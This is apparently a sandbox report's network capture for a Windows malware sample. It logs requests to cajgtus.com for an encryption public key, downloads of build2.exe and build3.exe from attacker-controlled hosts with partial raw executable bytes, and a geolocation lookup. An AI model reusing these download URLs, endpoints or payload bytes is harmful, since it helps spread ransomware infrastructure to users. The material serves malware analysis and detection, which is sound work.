{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	189.163.142.13	80	4408	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 12:07:04.769679070 CEST	128	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 12:07:05.352564096 CEST	766	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 10:07:24 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 562 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 73 43 53 73 47 68 32 5c 2f 77 35 66 55 52 56 61 78 64 56 49 5a 5c 5c 6e 6f 2b 6e 37 37 68 30 35 4a 39 67 45 65 56 55 52 76 51 4c 75 78 38 54 4f 30 70 6a 78 72 4a 50 73 61 41 5c 2f 43 32 30 69 55 36 55 49 6e 62 30 43 67 7a 37 50 6c 2b 39 73 73 66 41 74 52 6a 32 75 35 5c 5c 6e 66 61 6d 33 53 73 39 36 34 6b 34 6f 75 4c 63 33 77 41 55 55 46 78 61 7a 6c 6f 78 64 75 75 72 43 37 75 45 62 35 69 67 37 4e 67 5c 2f 42 55 68 6e 53 5a 48 4f 4c 75 79 66 6b 32 6f 5c 2f 46 62 79 4b 63 5c 5c 6e 41 59 43 4e 4f 36 66 4c 70 73 45 79 32 38 59 63 44 74 46 6e 55 73 66 61 6b 74 63 68 66 68 57 38 56 62 6f 5a 34 72 71 77 76 6d 53 4a 47 39 74 38 75 2b 65 50 37 41 46 4d 4a 79 72 44 5c 2f 45 4d 79 5c 5c 6e 74 66 54 76 30 66 32 36 53 46 43 71 7a 4d 49 6b 45 4c 45 5a 33 67 33 45 39 35 35 64 6a 68 75 65 7a 4f 77 45 59 66 4d 32 65 69 69 56 52 4e 43 6a 66 66 78 45 71 63 69 59 39 2b 33 6c 63 42 6f 38 5c 5c 6e 36 4c 78 68 70 51 50 68 66 34 74 5c 2f 68 74 70 54 63 34 5c 2f 78 44 64 66 32 5c 2f 42 59 79 37 67 68 62 51 49 56 68 4c 7a 70 78 30 43 31 6e 4e 4e 70 2b 6a 34 79 4a 4f 6f 74 54 2b 31 58 4a 6f 31 51 47 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 38 44 76 6f 71 78 33 62 76 66 76 31 47 4e 4f 58 77 51 4c 72 53 39 4e 68 4b 38 41 35 42 75 65 75 64 70 56 6c 43 76 43 77 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	211.181.24.133	80	6600	C:\Users\user\Desktop\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 12:07:04.822644949 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 12:07:05.293939114 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 10:07:05 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 12:07:05.293999910 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 12:07:05.591979980 CEST	1289	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 12:07:05.592060089 CEST	1289	IN	Data Raw: 44 53 f7 65 ec 8b 45 ec 81 6d fc f0 06 bd 57 81 6d cc f5 90 30 07 81 6d dc 7b e3 2f 6b 33 ff 81 3d f0 24 a0 01 00 04 00 00 75 57 57 57 57 ff 15 94 00 41 00 57 57 57 57 ff 15 60 00 41 00 57 ff 15 4c 00 41 00 57 57 57 57 ff 15 70 00 41 00 57 57 57 Data Ascii: DSeEmWm0m{/k3=$uWWWWAWWWW`AWLAWWWWpAWWWWAWW"WW"WWA8q Fr\|WtA{+F\|\|AW<AW8AX~}5EzuFT\|tA$h
Apr 24, 2024 12:07:05.592133999 CEST	1289	IN	Data Raw: 45 fc 02 50 e8 54 fd ff ff 8b c8 e8 98 00 00 00 89 45 e8 b8 37 1f 40 00 c3 83 4d fc ff 8b 7d e4 8b 75 e0 8b 5d e8 83 7d 0c 00 76 14 ff 75 0c 8b cf e8 07 ff ff ff 50 53 e8 aa f1 ff ff 83 c4 0c 6a 00 6a 01 8b cf e8 a3 fc ff ff 8d 45 e8 8b cf 50 57 Data Ascii: EPTE7@M}u]}vuPSjjEPWEPluwM_^d[]Mjj`jjH"UuY]U]UM.]UVM/UP'^]3
Apr 24, 2024 12:07:05.592152119 CEST	1289	IN	Data Raw: 6f 0e 83 e9 10 8d 76 10 66 0f 7f 0f 8d 7f 10 eb e8 0f ba e1 02 73 0d 8b 06 83 e9 04 8d 76 04 89 07 8d 7f 04 0f ba e1 03 73 11 f3 0f 7e 0e 83 e9 08 8d 76 08 66 0f d6 0f 8d 7f 08 8b 04 8d 98 25 40 00 ff e0 f7 c7 03 00 00 00 75 15 c1 e9 02 83 e2 03 Data Ascii: ovfsvs~vf%@ur*$%@r$$@$%@$,%@$@$@%@#FGFGr$%@I#FGr$%@#
Apr 24, 2024 12:07:05.889836073 CEST	1289	IN	Data Raw: ec 2c a1 a4 87 41 00 33 c5 89 45 fc 8b 45 08 8d 4d d4 53 56 8b 75 0c 57 ff 75 10 89 45 ec 8b 45 14 89 45 e4 e8 4b ff ff ff 8d 45 d4 33 ff 50 57 57 57 57 56 8d 45 e8 50 8d 45 f0 50 e8 f3 29 00 00 8b d8 83 c4 20 8b 45 e4 85 c0 74 05 8b 4d e8 89 08 Data Ascii: ,A3EEMSVuWuEEEKE3PWWWWVEPEP) EtMuEPd$YYutujutj_}tMapM_^3["]U(A3ESVuMWu}E3PSSSSVEPEPX)EEWPg(E
Apr 24, 2024 12:07:05.889902115 CEST	1289	IN	Data Raw: 2e 40 00 23 d1 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 c1 e9 02 88 47 02 83 c6 03 83 c7 03 83 f9 08 72 cc f3 a5 ff 24 95 18 2f 40 00 8d 49 00 23 d1 8a 06 88 07 8a 46 01 c1 e9 02 88 47 01 83 c6 02 83 c7 02 83 f9 08 72 a6 f3 a5 ff 24 95 18 2f 40 00 Data Ascii: .@#FGFGr$/@I#FGr$/@#r$/@I/@.@.@.@.@.@.@.@DDDDDDDDDDDDDD$/@(/@0/@</@P/@D$
Apr 24, 2024 12:07:05.889947891 CEST	1289	IN	Data Raw: 85 47 3c 00 00 ba 12 00 00 00 8d 0d 00 80 41 00 e8 40 3d 00 00 5a c3 55 8b ec 83 7d 08 00 74 2d ff 75 08 6a 00 ff 35 b4 b5 43 00 ff 15 b0 00 41 00 85 c0 75 18 56 e8 a7 36 00 00 8b f0 ff 15 ac 00 41 00 50 e8 ac 36 00 00 59 89 06 5e 5d c3 cc cc cc Data Ascii: G<A@=ZU}t-uj5CAuV6AP6Y^]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+W\|$
Apr 24, 2024 12:07:05.889986992 CEST	1289	IN	Data Raw: 5e 01 00 00 8d 8d fc ef ff ff 85 ff 74 33 8b d1 03 d0 4f 3b ca 73 2a 8a 01 3c 0d 75 13 8d 42 ff 3b c8 73 18 8d 41 01 80 38 0a 75 10 8b c8 eb 0c 0f b6 c0 0f be 80 f0 8c 41 00 03 c8 41 85 ff 75 d1 8d 85 fc ef ff ff 2b f0 8d 04 31 e9 72 01 00 00 8b Data Ascii: ^t3O;s*<uB;sA8uAAu+1rCDt:uGB;ru .u619Xu+ppjC[D
Apr 24, 2024 12:07:05.890022993 CEST	1289	IN	Data Raw: 08 e8 c1 ff ff ff 59 ff 75 08 ff 15 c0 00 41 00 cc 55 8b ec e8 bc 53 00 00 ff 75 08 e8 11 54 00 00 59 68 ff 00 00 00 e8 a3 00 00 00 cc 6a 01 6a 01 6a 00 e8 4d 01 00 00 83 c4 0c c3 6a 01 6a 00 6a 00 e8 3e 01 00 00 83 c4 0c c3 55 8b ec 83 3d b0 10 Data Ascii: YuAUSuTYhjjjMjjj>U=AthAUYtuAYVhAhAYYuCh@k$AhAv=5YYth5UYtjjj53]Ujju]VjAVW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	189.163.142.13	80	6600	C:\Users\user\Desktop\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 12:07:07.604088068 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 12:07:08.353610039 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 10:07:27 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 24, 2024 12:07:08.353638887 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 12:07:08.353707075 CEST	1289	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 12:07:08.353779078 CEST	1289	IN	Data Raw: 00 2c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 61 00 6c 00 6c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 68 00 61 00 72 00 3e 00 20 00 3e 00 20 00 3e 00 20 00 3e 00 3a 00 3a 00 6f 00 70 00 65 00 72 00 61 00 74 Data Ascii: ,class std::allocator<char> > > >::operator +=("this->_Has_container()", 0)C:\Program Files (x86)\Microsoft Visual Stud
Apr 24, 2024 12:07:08.608419895 CEST	1289	IN	Data Raw: 63 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 00 Data Ascii: cator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Vector_const_iterator
Apr 24, 2024 12:07:08.608450890 CEST	1289	IN	Data Raw: 00 00 00 00 00 73 00 72 00 63 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 Data Ascii: src != NULLmemcpy_sf:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.cdst != NULLmemmove_sf:\dd\vctools\crt_bld\sel
Apr 24, 2024 12:07:08.608469009 CEST	1289	IN	Data Raw: 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 6d 00 65 00 6d 00 63 00 70 00 79 00 5f 00 73 00 28 00 Data Ascii: C++ documentation on asserts.memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot
Apr 24, 2024 12:07:08.608488083 CEST	1289	IN	Data Raw: 00 55 00 4c 00 4c 00 29 00 00 00 70 00 75 00 74 00 63 00 00 00 00 00 76 00 73 00 63 00 61 00 6e 00 66 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c Data Ascii: ULL)putcvscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)f:\dd\vctools\crt_bld\self_x86\crt\src\_file.cf:\dd\vctools\crt_bld\se
Apr 24, 2024 12:07:08.608513117 CEST	1289	IN	Data Raw: 72 65 61 6c 6c 6f 63 28 29 00 00 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 Data Ascii: realloc()Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs
Apr 24, 2024 12:07:08.608556032 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 24, 2024 12:07:08.608629942 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	172.67.139.220	443	6392	C:\Users\user\Desktop\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:06:57 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 10:06:58 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 10:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f09%2B9tAlP7e%2FYzhuXKpJTzvaqWZ65YlHCm7dg2sCbwRQNghEv3%2BjE0MDrbwUyV9Dl3sSmQs8DSgYIYTjdbRCGBjzNSttfN6nHbZywYtF3QzcKYJm5fOgzuNu7dGl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879548993ea57c89-LAX alt-svc: h3=":443"; ma=86400
